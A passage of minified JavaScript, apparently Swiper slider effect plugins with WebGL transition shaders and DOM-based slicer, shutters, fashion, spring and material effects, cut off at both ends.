hash(i + vec2(0.0, 1.0));\n      float d = hash(i + vec2(1.0, 1.0));\n      vec2 u = f * f * (3.0 - 2.0 * f);\n      return mix(a, b, u.x) + (c - a) * u.y * (1.0 - u.x) + (d - b) * u.x * u.y;\n    }\n    void main()\t{\n      vec2 newUV = (vUv - vec2(0.5))*resolution.zw + vec2(0.5);\n\n      float hn = hnoise(newUV.xy * resolution.xy / 100.0);\n      vec2 d = vec2(0.,normalize(vec2(0.5,0.5) - newUV.xy).y);\n      vec2 uv1 = newUV + d * progress / 5.0 * (1.0 + hn / 2.0);\n      vec2 uv2 = newUV - d * (1.0 - progress) / 5.0 * (1.0 + hn / 2.0);\n      vec4 t1 = texture2D(texture1,uv1);\n      vec4 t2 = texture2D(texture2,uv2);\n      gl_FragColor = mix(t1, t2, progress);\n    }\n  ")},Gt={uniforms:{},fragment:"\n  ".concat(gt,"\n  uniform sampler2D displacement;\n  vec2 mirrored(vec2 v) {\n    vec2 m = mod(v,2.);\n    return mix(m,2.0 - m, step(1.0 ,m));\n  }\n  void main()\t{\n    vec2 newUV = (vUv - vec2(0.5))*resolution.zw + vec2(0.5);\n    vec4 noise = texture2D(displacement, mirrored(newUV+time*0.04));\n    float prog = (1.0 - progress)*0.8 -0.05 + noise.g * 0.06;\n    float intpl = pow(abs(smoothstep(0., 1., (prog*2. - vUv.x + 0.5))), 10.);\n\n    vec4 t1 = texture2D( texture2, (newUV - 0.5) * (1.0 - intpl) + 0.5 ) ;\n    vec4 t2 = texture2D( texture1, (newUV - 0.5) * intpl + 0.5 );\n    gl_FragColor = mix( t1, t2, intpl );\n  }\n  ")},Pt={uniforms:{},fragment:"\n    ".concat(gt,"\n    float size = 0.2;\n\n    float rand (vec2 co) {\n      return fract(sin(dot(co.xy ,vec2(12.9898,78.233))) * 43758.5453);\n    }\n\n    void main()\t{\n      vec2 newUV = (vUv - vec2(0.5))*resolution.zw + vec2(0.5);\n\n      float r = rand(vec2(0, newUV.y));\n      float m = smoothstep(0.0, -size, newUV.x*(1.0-size) + size*r - ((progress) * (1.0 + size)));\n\n      vec2 uv1 = newUV;\n      vec2 uv2 = newUV;\n\n      vec4 t1 = texture2D(texture1,uv1);\n      vec4 t2 = texture2D(texture2,uv2);\n      gl_FragColor = mix(t1, t2, m);\n\n    }\n  ")},Ot={dots:{uniforms:{},fragment:"\n    ".concat(gt,"\n    const float SQRT_2 = 1.414213562373;\n    const vec2 center = vec2(0, 0);// = vec2(0, 0);\n    const float dots = 20.0;// = 20.0;\n\n    vec4 getFromColor(vec2 p) {\n      return texture2D(texture1, p);\n    }\n\n    vec4 getToColor(vec2 p) {\n      return texture2D(texture2, p);\n    }\n\n    void main()\t{\n      vec2 newUV = (vUv - vec2(0.5))*resolution.zw + vec2(0.5);\n\n      bool nextImage = distance(fract(newUV * dots), vec2(0.5, 0.5)) < ( progress / distance(newUV, center));\n      gl_FragColor = nextImage ? getToColor(newUV) : getFromColor(newUV);\n    }\n\n  ")},flyeye:{uniforms:{},fragment:"\n    ".concat(gt,"\n    const float size = 0.04; // = 0.04\n    const float zoom = 100.0; // = 50.0\n    const float colorSeparation = 0.3; // = 0.3\n\n    vec4 getFromColor(vec2 p) {\n      return texture2D(texture1, p);\n    }\n\n    vec4 getToColor(vec2 p) {\n      return texture2D(texture2, p);\n    }\n\n    void main()\t{\n      vec2 newUV = (vUv - vec2(0.5))*resolution.zw + vec2(0.5);\n\n      float inv = 1. - progress;\n      vec2 disp = size*vec2(cos(zoom*newUV.x), sin(zoom*newUV.y));\n      vec4 texTo = getToColor(newUV + inv*disp);\n      vec4 texFrom = vec4(\n        getFromColor(newUV + progress*disp*(1.0 - colorSeparation)).r,\n        getFromColor(newUV + progress*disp).g,\n        getFromColor(newUV + progress*disp*(1.0 + colorSeparation)).b,\n        1.0);\n      gl_FragColor = texTo*progress + texFrom*inv;\n    }\n\n  ")},"morph-x":xt,"morph-y":wt,"page-curl":At,"peel-x":Mt,"peel-y":Et,"polygons-fall":kt,"polygons-morph":Ut,"polygons-wind":Ct,pixelize:bt,ripple:St,shutters:Ft,slices:Tt,squares:Rt,stretch:It,"wave-x":Gt,wind:Pt},Yt="\nattribute vec2 uv;\nattribute vec3 position;\nuniform mat4 modelViewMatrix;\nuniform mat4 projectionMatrix;\nvarying vec2 vUv;\n\nvoid main() {\n  vUv = uv;\n  gl_Position = projectionMatrix * modelViewMatrix * vec4(position, 1.0);\n}\n",Bt=function(t,e){var i=e.shaderPerSlide,n=e.swiper,r=n.params.loop?n.realIndex:n.activeIndex,s=Ot;if(Array.isArray(t)&&t.length){if(i)return void 0===t[r]?Ot[t[0]]:Ot[t[r]];s={},Object.keys(Ot).forEach((function(e){t.includes(e)&&(s[e]=Ot[e])}))}var a=Math.floor(Math.random()*Object.keys(s).length);return s[Object.keys(s)[a]]},Dt=function(){function t(e){var i=this;_classCallCheck(this,t);var n="random"===e.shader||Array.isArray(e.shader)?Bt(e.shader,e):Ot[e.shader];this.shader=n,this.displacement=e.displacementMap||at,this.scene=new L,this.swiper=e.swiper,this.vertex=n.vertex||Yt,this.fragment=n.fragment,this.uniforms=n.uniforms||{},this.renderer=new C({dpr:2,webgl:2,alpha:!0}),this.gl=this.renderer.gl,this.width=window.innerWidth,this.height=window.innerHeight,this.renderer.setSize(this.width,this.height),this.gl.clearColor(1,1,1,0),this.gl.clear(this.gl.COLOR_BUFFER_BIT),this.opts=e,this.container=this.swiper.el,this.displacementTexture=null,this.width=this.swiper.width,this.height=this.swiper.height,this.swiper.isElement&&this.gl.canvas.setAttribute("slot","container-start"),this.container.prepend(this.gl.canvas),this.camera=new H(this.gl,{fov:45}),this.camera.perspective({aspect:this.gl.canvas.width/this.gl.canvas.height}),this.camera.position.set(0,0,2),this.time=0,this.current=0,this.init((function(){i.addObjects(),i.resize(),i.render()}))}return _createClass(t,[{key:"animateUniform",value:function(t,e,i){var n,r=this,s=t.value,a=null;window.cancelAnimationFrame(this.animateUniformFrame);var o=e>t.value?"next":"prev",l=function(t,e){return"next"===o&&t>=e||"prev"===o&&t<=e};!function o(){if(!r.destroyed){n=(new Date).getTime(),null===a&&(a=n);var h=Math.max(Math.min((n-a)/r.swiper.params.speed,1),0),c=.5-Math.cos(h*Math.PI)/2,u=s+c*(e-s);if(l(u,e)&&(u=e),t.value=u,l(u,e))return cancelAnimationFrame(r.animateUniformFrame),void(i&&i());r.animateUniformFrame=requestAnimationFrame(o)}}()}},{key:"loadTextures",value:function(){var t=this,e=[],i=this;return this.images=[],this.textures=[],this.container.querySelectorAll(".swiper-gl-image").forEach((function(e){t.images.push(e.src)})),this.images.forEach((function(n,r){var s=new Promise((function(e){var s=new Image;s.crossOrigin="anonymous";var a=new nt(t.gl);s.onload=function(){a.image=s,i.textures[r]=a,e()},s.src=n}));e.push(s)})),e.push(new Promise((function(e){var n=new Image;n.crossOrigin="anonymous";var r=new nt(t.gl);n.onload=function(){r.image=n,i.displacementTexture=r,e()},n.src=at}))),Promise.all(e)}},{key:"init",value:function(t){var e=this;this.loadTextures().then((function(){e.initialized=!0,e.onInit&&e.onInit(),t()}))}},{key:"resize",value:function(){if(this.initialized&&!this.destroyed){var t=this.swiper,e=t.width,i=t.height;this.width=e,this.height=i,this.renderer.setSize(e,i);var n=this.camera.position.z;if(this.camera.perspective({aspect:e/i,fov:180/Math.PI*2*Math.atan(1/(2*n))}),this.textures[0].image){var r,s,a=this.textures[0].image.height/this.textures[0].image.width;i/e>a?(r=e/i*a,s=1):(r=1,s=i/e/a),this.material.uniforms.resolution.value.x=e,this.material.uniforms.resolution.value.y=i,this.material.uniforms.resolution.value.z=r,this.material.uniforms.resolution.value.w=s,this.shader.vertex&&this.vertexMaterial&&(this.vertexMaterial.uniforms.resolution.value.x=e,this.vertexMaterial.uniforms.resolution.value.y=i,this.vertexMaterial.uniforms.resolution.value.z=r,this.vertexMaterial.uniforms.resolution.value.w=s),this.shader.vertex?(this.nextMesh.scale.set(this.camera.aspect/2,.5,.5),this.currentMesh.scale.set(this.camera.aspect/2,.5,.5)):(this.plane.scale.x=this.camera.aspect,this.plane.scale.y=1)}}}},{key:"createMaterial",value:function(){return new w(this.gl,_objectSpread({extensions:{derivatives:"#extension GL_OES_standard_derivatives : enable"},uniforms:{time:{type:"f",value:0},progress:{type:"f",value:0},intensity:{type:"f",value:0},width:{type:"f",value:0},radius:{type:"f",value:0},size:{type:"f",value:0},texture1:{type:"f",value:this.textures[0]},texture2:{type:"f",value:this.textures[1]},displacement:{type:"f",value:this.displacementTexture},resolution:{type:"v4",value:new rt}},vertex:this.shader.vertex||Yt,fragment:this.shader.fragment},this.shader.vertex?{transparent:!0,depthWrite:!1}:{}))}},{key:"addObjects",value:function(){var t=this;if(this.scene.children.forEach((function(e){t.scene.removeChild(e)})),this.scene.children.forEach((function(e){t.scene.removeChild(e)})),this.material=this.createMaterial(),this.shader.vertex){var e=function(t,e,i){i=i||0;for(var n=e,r=2/n,s=r*Math.sqrt(3)/2,a=2/s,o=[],l=[],h=[],c=[],u=[],d=[],f=[],p=0,m=[],g=0,y=0;y<a;y+=1){g=y*s,p=y%2==1?-r/2:0;for(var x=0;x<=n;x+=1){var w=Math.sign(x*r+p-1);l.push(x*r+p-1,g-1,0),f.push((x*r+p)/2,g/2),l.push(x*r+r/2+p-1,s+g-1,0),f.push((x*r+r/2+p)/2,(s+g)/2),l.push(x*r-r/2+p-1,s+g-1,0),f.push((x*r-r/2+p)/2,(s+g)/2);var A=ft(x/a,y/a)+Math.random(),M=pt(g/2+2*A/e),E=Math.random();o.push(M,pt(M+.1*i),pt(M+.1*i)),d.push(E,E,E);var b=[x*r+p-1,g-1,0];h.push.apply(h,b.concat(b,b));var k=[2*w*dt(-.3,.3),-2*dt(-.3,.3)*1.5,-ut(.5)],U=[2*w*dt(.3,.6),-2*dt(.3,.6)*1.5,-ut(.5)];c.push.apply(c,k.concat(k,k)),u.push.apply(u,U.concat(U,U)),m.push(0,0,1,0,1,0,1,0,0),l.push(x*r+p-1,g-1,0),f.push((x*r+p)/2,g/2),l.push(x*r+r+p-1,g-1,0),f.push((x*r+r+p)/2,g/2),l.push(x*r+r/2+p-1,s+g-1,0),f.push((x*r+r/2+p)/2,(s+g)/2);var C=pt(g/2+2*(A=ft((x+1)/a,y/a)+Math.random())/e);E=Math.random(),o.push(C,C,pt(C+.1*i)),d.push(E,E,E);var S=[x*r+p-1,g-1,0];c.push.apply(c,k.concat(k,k)),u.push.apply(u,U.concat(U,U)),h.push.apply(h,S.concat(S,S)),m.push(0,0,1,0,1,0,1,0,0)}}var F=new v(t);return F.addAttribute("position",{size:3,data:new Float32Array(l)}),F.addAttribute("bary",{size:3,data:new Float32Array(m)}),F.addAttribute("uv",{size:2,data:new Float32Array(f)}),F.addAttribute("offset",{size:1,data:new Float32Array(o)}),F.addAttribute("centroid1",{size:3,data:new Float32Array(h)}),F.addAttribute("control0",{size:3,data:new Float32Array(c)}),F.addAttribute("control1",{size:3,data:new Float32Array(u)}),F.addAttribute("random",{size:1,data:new Float32Array(d)}),F}(this.gl,this.shader.detail,this.shader.offsetTop),i=this.textures[1];this.vertexMaterial=this.createMaterial(),this.vertexMaterial.uniforms.texture1.value=i,this.currentMesh=new $(this.gl,{geometry:e,program:this.material}),this.nextMesh=new $(this.gl,{geometry:e,program:this.vertexMaterial}),this.nextMesh.position.z=-1e-4,this.currentMesh.setParent(this.scene),this.nextMesh.setParent(this.scene)}else{var n=new st(this.gl,{width:1,height:1,widthSegments:2,heightSegments:2});this.plane=new $(this.gl,{geometry:n,program:this.material}),this.plane.setParent(this.scene)}}},{key:"replaceShader",value:function(t){var e,i;this.shader.vertex?(e=this.material.uniforms.texture1.value,i=this.vertexMaterial.uniforms.texture1.value):(e=this.material.uniforms.texture1.value,i=this.material.uniforms.texture2.value);var n="random"===t||Array.isArray(t)?Bt(t,this.opts):Ot[t],r=n.fragment,s=n.uniforms,a=n.vertex;this.shader=n,this.vertex=a||Yt,this.fragment=r||"",this.uniforms=s||{},this.addObjects(),this.shader.vertex?(this.material.uniforms.texture1.value=i,this.vertexMaterial.uniforms.texture1.value=i):(this.material.uniforms.texture1.value=e,this.material.uniforms.texture2.value=i,this.material.uniforms.progress.value=1),this.resize(),this.swiper.params.gl.shader=t}},{key:"replaceRandomShader",value:function(){var t=Bt(this.opts.shader,this.opts),e=t.fragment,i=t.uniforms,n=t.vertex;this.shader=t,this.fragment=e||"",this.uniforms=i||{},this.vertex=n||Yt,this.addObjects(),this.resize()}},{key:"setProgress",value:function(t,e,i,n,r){var s=this;if(!this.destroyed&&!this.swiper.glDestroyed)if(this.initialized){this.swiper.params.loop&&this.swiper.slides[t]&&this.swiper.slides[e]&&(t=parseInt(this.swiper.slides[t].getAttribute("data-swiper-slide-index"),10),e=parseInt(this.swiper.slides[e].getAttribute("data-swiper-slide-index"),10));var a=this.textures[e],o=this.textures[t];if(this.material.uniforms.texture1.value=o,this.shader.vertex?this.vertexMaterial.uniforms.texture1.value=a:this.material.uniforms.texture2.value=a,r){if(this.preventShaderReplace)return void(this.material.uniforms.progress.value=Math.abs(i));this.preventShaderReplace=!0,requestAnimationFrame((function(){s.preventShaderReplace=!1})),"random"===this.swiper.params.gl.shader||Array.isArray(this.swiper.params.gl.shader)?(this.replaceRandomShader(),this.material.uniforms.texture1.value=o,this.material.uniforms.texture2.value=a,this.material.uniforms.progress.value=Math.abs(i)):this.material.uniforms.progress.value=Math.abs(i)}else n?(0===i&&0===this.material.uniforms.progress.value&&(this.material.uniforms.progress.value=1),1===i&&1===this.material.uniforms.progress.value&&(this.material.uniforms.progress.value=0),this.animateUniform(this.material.uniforms.progress,i,(function(){("random"===s.swiper.params.gl.shader||Array.isArray(s.swiper.params.gl.shader))&&(s.replaceRandomShader(),s.material.uniforms.texture1.value=o,s.material.uniforms.texture2.value=a,s.material.uniforms.progress.value=i),1===i&&(s.material.uniforms.texture1.value=a),s.material.uniforms.progress.value=0}))):this.material.uniforms.progress.value=Math.abs(i)}else this.onInit=function(){requestAnimationFrame((function(){s.setProgress(t,e,i,n)}))}}},{key:"render",value:function(){var t=this;this.swiper.destroyed||this.destroyed||(this.time+=.05,this.material.uniforms.time.value=this.time,Object.keys(this.uniforms).forEach((function(e){t.material.uniforms[e].value=t.uniforms[e].value})),requestAnimationFrame(this.render.bind(this)),this.renderer.render({scene:this.scene,camera:this.camera}))}},{key:"destroy",value:function(){this.initialized=!1,this.destroyed=!0,this.gl&&this.gl.canvas&&this.container.removeChild(this.gl.canvas)}}]),t}();return"undefined"!=typeof window&&window.SwiperElementRegisterParams&&window.SwiperElementRegisterParams(["gl"]),function(t){var e=t.swiper,i=t.on,n=t.extendParams;e.gl=null;var r=!1;n({gl:{shader:"random",shaderPerSlide:!1,displacementMap:void 0}});var s,a,o=function(){e.gl=new Dt({swiper:e,shader:e.params.gl.shader,shaderPerSlide:e.params.gl.shaderPerSlide})};i("beforeInit",(function(){if("gl"===e.params.effect)if(function(){try{var t=document.createElement("canvas");return!!window.WebGLRenderingContext&&(t.getContext("webgl")||t.getContext("experimental-webgl"))}catch(t){return!1}}()){e.classNames.push("".concat(e.params.containerModifierClass,"gl"));var t={watchSlidesProgress:!0};Object.assign(e.params,t),Object.assign(e.originalParams,t)}else r=!0})),i("init",(function(){"gl"!==e.params.effect||r||e.glDestroyed||e.gl||o()})),i("resize",(function(){"gl"!==e.params.effect||r||e.glDestroyed||e.gl.resize()})),i("setTranslate",(function(){if("gl"===e.params.effect&&!r&&!e.glDestroyed){var t,i,n;e.gl||o();var l,h=!1;if(e.slides.forEach((function(r,s){var o=r.progress;e.params.cssMode&&0===Math.round(100*o)&&(h=!0),(o>0&&o<1||0===o&&e.progress<a)&&(i=s+1,n=o,l=t=s),(o<0&&o>-1||0===o&&e.progress>a)&&(t=s-1,n=1+o,l=i=s)})),a=e.progress||0,void 0!==t||void 0!==i){h=h&&Math.round(n)===n;var c=Math.min(l,e.activeIndex),u=Math.max(l,e.activeIndex);e.params.loop||u===c||(t=c,i=u),e.gl.setProgress(t,i,n,s,h)}}})),i("setTransition",(function(t,i){"gl"!==e.params.effect||r||e.glDestroyed||(s=i>0&&!e.params.cssMode)})),i("slidesGridLengthChange",(function(){"gl"!==e.params.effect||r||!e.initialized||e.glDestroyed||e.gl&&e.gl.loadTextures&&e.gl.loadTextures()})),i("beforeDestroy",(function(){"gl"!==e.params.effect||r||e.gl&&(e.glDestroyed=!0,e.gl.destroy(),e.gl=null)}))}})),function(t,e){"object"===("undefined"==typeof exports?"undefined":_typeof(exports))&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(t="undefined"!=typeof globalThis?globalThis:t||self).EffectSlicer=e()}(this,(function(){"use strict";return"undefined"!=typeof window&&window.SwiperElementRegisterParams&&window.SwiperElementRegisterParams(["slicerEffect"]),function(t){var e=t.swiper,i=t.extendParams,n=t.on,r=t.emit;i({slicerEffect:{split:5}});var s=!1,a=function(){e.slides.forEach((function(t){if(!t.querySelector(".swiper-slicer-image-clones")){var i=t.querySelector(".swiper-slicer-image");if(i){var n=i.nextElementSibling,r=document.createElement("div");r.classList.add("swiper-slicer-image-clones");for(var s=0;s<e.params.slicerEffect.split;s+=1){var a=document.createElement("div");a.classList.add("swiper-slicer-image-clone"),a.appendChild(i.cloneNode()),r.appendChild(a)}n?i.parentNode.insertBefore(r,n):i.parentNode.appendChild(r)}}}))},o=function(){e.slides.forEach((function(t){return t.querySelectorAll(".swiper-slicer-image").forEach((function(t){t.style.width="".concat(e.width,"px"),t.style.height="".concat(e.height,"px")}))})),e.slides.forEach((function(t){t.querySelectorAll(".swiper-slicer-image-clone").forEach((function(t,i){var n=t.querySelector(".swiper-slicer-image");"horizontal"===e.params.direction?(t.style.height="".concat(100/e.params.slicerEffect.split,"%"),t.style.top="".concat(100/e.params.slicerEffect.split*i,"%"),n.style.top="-".concat(100*i,"%")):(t.style.width="".concat(100/e.params.slicerEffect.split,"%"),t.style.left="".concat(100/e.params.slicerEffect.split*i,"%"),n.style.left="-".concat(100*i,"%"))}))}))},l=function(t){e.slides.forEach((function(i){var n=i.querySelectorAll(".swiper-slicer-image-clone"),r=i.querySelector(".swiper-slide-content");r&&(r.style.transitionDuration="".concat(t,"ms")),n.forEach((function(i,r){0===t?(i.style.transitionTimingFunction="ease-out",i.style.transitionDuration=s?"0ms":"".concat(e.params.speed+e.params.speed/(n.length-1)*(n.length-r-1),"ms")):(i.style.transitionTimingFunction="",i.style.transitionDuration="".concat(t+t/(n.length-1)*(n.length-r-1),"ms"))}))})),function(t){var i=t.duration,n=e.slides,r=e.activeIndex;if(0!==i){var s=!1,a=n[r].querySelector(".swiper-slicer-image-clone:nth-child(1)");if(!a)return;a.addEventListener("transitionend",(function t(i){if(i.target===a&&(a.removeEventListener("transitionend",t),!s&&e&&!e.destroyed)){s=!0,e.animating=!1;var n=new window.CustomEvent("transitionend",{bubbles:!0,cancelable:!0});e.wrapperEl.dispatchEvent(n)}}))}}({duration:t})};n("beforeLoopFix",(function(){s=!0})),n("loopFix",(function(){s=!1})),n("setTranslate",(function(){var t;"slicer"===e.params.effect&&(t="vertical"===e.params.direction?"Y":"X",e.slides.forEach((function(i,n){i.style.transform="translate".concat(t,"(-").concat(100*n,"%)");var r=i.progress,s=i.querySelector(".swiper-slide-content");s&&(s.style.transform="translate".concat(t,"(").concat(e.size*-r*1.2,"px)")),i.querySelectorAll(".swiper-slicer-image-clone").forEach((function(e){var i=-r;e.style.transform="translate".concat(t,"(").concat(100*i,"%)")}))})))})),n("setTransition",(function(t,i){"slicer"===e.params.effect&&l(i)})),n("slidesLengthChange",(function(){a(),o()})),n("beforeInit",(function(){if("slicer"===e.params.effect){e.classNames.push("swiper-slicer");var t={slidesPerView:1,slidesPerGroup:1,watchSlidesProgress:!0,spaceBetween:0,virtualTranslate:!0};Object.assign(e.params,t),Object.assign(e.originalParams,t)}})),n("init",(function(){"slicer"===e.params.effect&&(a(),r("setTranslate",e,e.translate))})),n("resize init",(function(){"slicer"===e.params.effect&&o()}))}})),function(t,e){"object"===("undefined"==typeof exports?"undefined":_typeof(exports))&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(t="undefined"!=typeof globalThis?globalThis:t||self).EffectShutters=e()}(this,(function(){"use strict";return"undefined"!=typeof window&&window.SwiperElementRegisterParams&&window.SwiperElementRegisterParams(["shuttersEffect"]),function(t){var e=t.swiper,i=t.extendParams,n=t.on;i({shuttersEffect:{split:5}}),n("beforeInit",(function(){if("shutters"===e.params.effect){e.classNames.push("swiper-shutters");var t={watchSlidesProgress:!0,parallax:{enabled:!0}};Object.assign(e.params,t),Object.assign(e.originalParams,t)}})),n("init",(function(){"shutters"===e.params.effect&&e.slides.forEach((function(t){var i=t.querySelector(".swiper-shutters-image");if(i){var n=i.nextElementSibling,r=document.createElement("div");r.classList.add("swiper-shutters-image-clones");for(var s=0;s<e.params.shuttersEffect.split;s+=1){var a=document.createElement("div");a.classList.add("swiper-shutters-image-clone"),a.appendChild(i.cloneNode()),r.appendChild(a)}n?i.parentNode.insertBefore(r,n):i.parentNode.appendChild(r)}}))})),n("resize init",(function(){"shutters"===e.params.effect&&(e.el.querySelectorAll(".swiper-shutters-image").forEach((function(t){t.style.width="".concat(e.width,"px"),t.style.height="".concat(e.height,"px")})),e.el.querySelectorAll(".swiper-slide, swiper-slide").forEach((function(t){t.querySelectorAll(".swiper-shutters-image-clone").forEach((function(t,i){var n=100/e.params.shuttersEffect.split,r=t.querySelector(".swiper-shutters-image");"vertical"===e.params.direction?(t.style.height="".concat(100/e.params.shuttersEffect.split,"%"),t.style.top="".concat(100/e.params.shuttersEffect.split*i,"%"),r.style.top="-".concat(100*i,"%")):(t.style.width="".concat(100/e.params.shuttersEffect.split,"%"),t.style.left="".concat(100/e.params.shuttersEffect.split*i,"%"),r.style.left="-".concat(100*i,"%")),r.setAttribute("data-swiper-parallax","10%"),t.setAttribute("data-swiper-parallax","".concat(n*(i+1)*(i%2==0?.5:-1),"%"))}))})))}))}})),function(t,e){"object"===("undefined"==typeof exports?"undefined":_typeof(exports))&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(t="undefined"!=typeof globalThis?globalThis:t||self).EffectFashion=e()}(this,(function(){"use strict";return"undefined"!=typeof window&&window.SwiperElementRegisterParams&&window.SwiperElementRegisterParams(["fashionEffect"]),function(t){var e,i,n,r=t.swiper,s=(t.extendParams,t.on),a=(t.emit,!1),o=!1,l=function(t){t.classList.add("fashion-slider-no-transition"),o=!0,cancelAnimationFrame(e),e=requestAnimationFrame((function(){t.classList.remove("fashion-slider-no-transition"),o=!1,a=!1}))},h=function(){a||n.slideNext()},c=function(){a||n.slidePrev()};s("loopFix",(function(){!1})),s("transitionStart",(function(){if(r.params.loop){if(i)return;i||(i=!0)}var t=r.slides,e=r.previousIndex,n=r.activeIndex,s=r.el;o||(a=!0);var l=t[n],h=t[e],c=h.querySelector(".fashion-slider-scale"),u=h.querySelector("img"),d=l.querySelector("img"),f=n-e,p=l.getAttribute("data-slide-bg-color");s.style["background-color"]=p,c.style.transform="scale(0.6)",u.style.transitionDuration="1000ms",u.style.transform="scale(1.2)";var m=h.querySelector(".swiper-slide-title");m.style.transition="1000ms",m.style.color="rgba(255,255,255,0)";u.addEventListener("transitionend",(function t(e){e.target===u&&(u.removeEventListener("transitionend",t),d.style.transitionDuration="1300ms",d.style.transform="translate3d(0, 0, 0) scale(1.2)",u.style.transitionDuration="1300ms",u.style.transform="translate3d(".concat(60*f,"%, 0, 0)  scale(1.2)"))}))})),s("transitionEnd",(function(){var t=r.slides,e=r.activeIndex,i=r.el,n=t[e],s=n.querySelector("img"),o=r.params.loop,l=i.closest(".advance_slider_wrapper");n.querySelector(".fashion-slider-scale").style.transform="scale(1)",s.style.transitionDuration="1000ms",s.style.transform="scale(1)";var h=n.querySelector(".swiper-slide-title"),c=n.querySelector(".swiper-slide-content").getAttribute("data-title-color");h.style.transition="1000ms",h.style.color=c||"#000";s.addEventListener("transitionend",(function t(e){e.target===s&&(s.removeEventListener("transitionend",t),a=!1)})),o||(0===e?l.querySelector(".wcf-arrow-prev").classList.add("fashion-slider-button-disabled"):l.querySelector(".wcf-arrow-prev").classList.remove("fashion-slider-button-disabled"),e===t.length-1?l.querySelector(".wcf-arrow-next").classList.add("fashion-slider-button-disabled"):l.querySelector(".wcf-arrow-next").classList.remove("fashion-slider-button-disabled"))})),s("beforeInit",(function(){if("fashion"===r.params.effect){r.classNames.push("swiper-fashion");var t=r.el;l(t)}})),s("init",(function(){if("fashion"===r.params.effect){var t=r.slides,e=r.activeIndex,i=r.el,n=t[e].getAttribute("data-slide-bg-color");i.style["background-color"]=n,r.emit("transitionEnd"),function(t){var e=t.el.closest(".advance_slider_wrapper");e.querySelector(".wcf-arrow-next").addEventListener("click",h),e.querySelector(".wcf-arrow-prev").addEventListener("click",c)}(r)}})),s("resize",(function(){"fashion"===r.params.effect&&l(r.el)})),s("destroy",(function(){!function(t){var e=t.el.closest(".advance_slider_wrapper");e.querySelector(".wcf-arrow-next").removeEventListener("click",h),e.querySelector(".wcf-arrow-prev").removeEventListener("click",c)}(r)}))}})),function(t,e){"object"===("undefined"==typeof exports?"undefined":_typeof(exports))&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(t="undefined"!=typeof globalThis?globalThis:t||self).EffectSpring=e()}(this,(function(){"use strict";return function(t){var e=t.swiper,i=t.extendParams,n=t.on,r=(t.emit,0),s=!1;n("progress",(function(t,e){if(!s){i.on&&i.on.progress&&i.on.progress(t,e);var n=t.progress>r?"next":"prev";r=t.progress;var a=t.params.speed/16,o=t.visibleSlidesIndexes,l=o[0],h=o[o.length-1],c=function(t,e){t.style.transitionDelay="".concat("next"===n&&e>=l?(e-l+1)*a:"prev"===n&&e<=h+1?(h-e+1)*a:0,"ms")};t.slides.forEach((function(e,i){t.animating?(e.style.transitionDelay="0ms",requestAnimationFrame((function(){c(e,i)}))):c(e,i)}))}})),n("beforeInit",(function(){e.classNames.push("swiper-spring")})),n("touchStart",(function(){s=!0})),n("touchEnd",(function(){s=!1}))}})),function(t,e){"object"===("undefined"==typeof exports?"undefined":_typeof(exports))&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(t="undefined"!=typeof globalThis?globalThis:t||self).EffectCarousel=e()}(this,(function(){"use strict";return function(t){var e=t.swiper,i=(t.extendParams,t.on);t.emit,i("beforeInit",(function(){e.classNames.push("swiper-carousel")}))}})),function(t,e){"object"===("undefined"==typeof exports?"undefined":_typeof(exports))&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(t="undefined"!=typeof globalThis?globalThis:t||self).EffectPoster=e()}(this,(function(){"use strict";return function(t){var e=t.swiper,i=(t.extendParams,t.on),n=(t.emit,function(t){var e=t.parentElement.offsetWidth,i=t.offsetWidth,n=(e-(e-i)/2)/i;return n=Math.max(n,1),"".concat(100*n,"%")});i("beforeInit",(function(){e.classNames.push("swiper-poster"),e.params.creativeEffect.next.translate=[n(e.el),0,0]})),i("resize",(function(){e.params.creativeEffect.next.translate=[n(e.el),0,0]}))}})),function(t,e){"object"===("undefined"==typeof exports?"undefined":_typeof(exports))&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(t="undefined"!=typeof globalThis?globalThis:t||self).EffectMaterial=e()}(this,(function(){"use strict";function t(t){var e=t.swiper,i=t.duration,n=t.transformElements,r=t.allSlides,s=e.activeIndex;if(e.params.virtualTranslate&&0!==i){var a=!1;(r?n:n.filter((function(t){var i=t.classList.contains("swiper-slide-transform")?function(t){return t.parentElement?t.parentElement:e.slides.filter((function(e){return e.shadowRoot&&e.shadowRoot===t.parentNode}))[0]}(t):t;return e.getSlideIndex(i)===s}))).forEach((function(t){!function(t,e){e&&t.addEventListener("transitionend",(function i(n){n.target===t&&(e.call(t,n),t.removeEventListener("transitionend",i))}))}(t,(function(){if(!a&&e&&!e.destroyed){a=!0,e.animating=!1;var t=new window.CustomEvent("transitionend",{bubbles:!0,cancelable:!0});e.wrapperEl.dispatchEvent(t)}}))}))}}return"undefined"!=typeof window&&window.SwiperElementRegisterParams&&window.SwiperElementRegisterParams(["materialEffect"]),function(e){var i=e.swiper,n=e.on;(0,e.extendParams)({materialEffect:{slideSplitRatio:.65}}),n("beforeInit",(function(){if("material"===i.params.effect){i.classNames.push("".concat(i.params.containerModifierClass,"material")),i.isElement&&i.hostEl&&i.hostEl.classList.add("swiper-".concat(i.params.direction));var t={loopAdditionalSlides:1,watchSlidesProgress:!0,virtualTranslate:!i.params.cssMode};Object.assign(i.params,t),Object.assign(i.originalParams,t)}})),n("setTranslate",(function(){"material"===i.params.effect&&function(){for(var t=i.slides,e=i.slidesSizesGrid,n=i.params,r=i.size,s=n.slidesPerView,a=n.spaceBetween,o=n.cssMode,l=n.centeredSlides,h=l?.5:Math.min(Math.max(n.materialEffect.slideSplitRatio,0),1),c=l?.5:1-Math.min(Math.max(n.materialEffect.slideSplitRatio,0),1),u=function(){var n,u=t[d],f=u.querySelector(".swiper-material-wrapper"),p=u.querySelectorAll(".swiper-material-animate-opacity"),m=u.querySelectorAll("[data-swiper-material-scale]"),g=-u.progress,v=u.swiperSlideOffset,y=i.translate,x=0,w=0,A=e[d],M=0!==c||l?a/2/A:0,E=o?y:0,b=l&&s%2==1,k=l&&s%2==0;if(g<=0)if(l&&s>1){if(g<=0&&g>=-(s-2)&&(x=y,n=1,w=1),b&&g<-(s-Math.ceil(s/2))){var 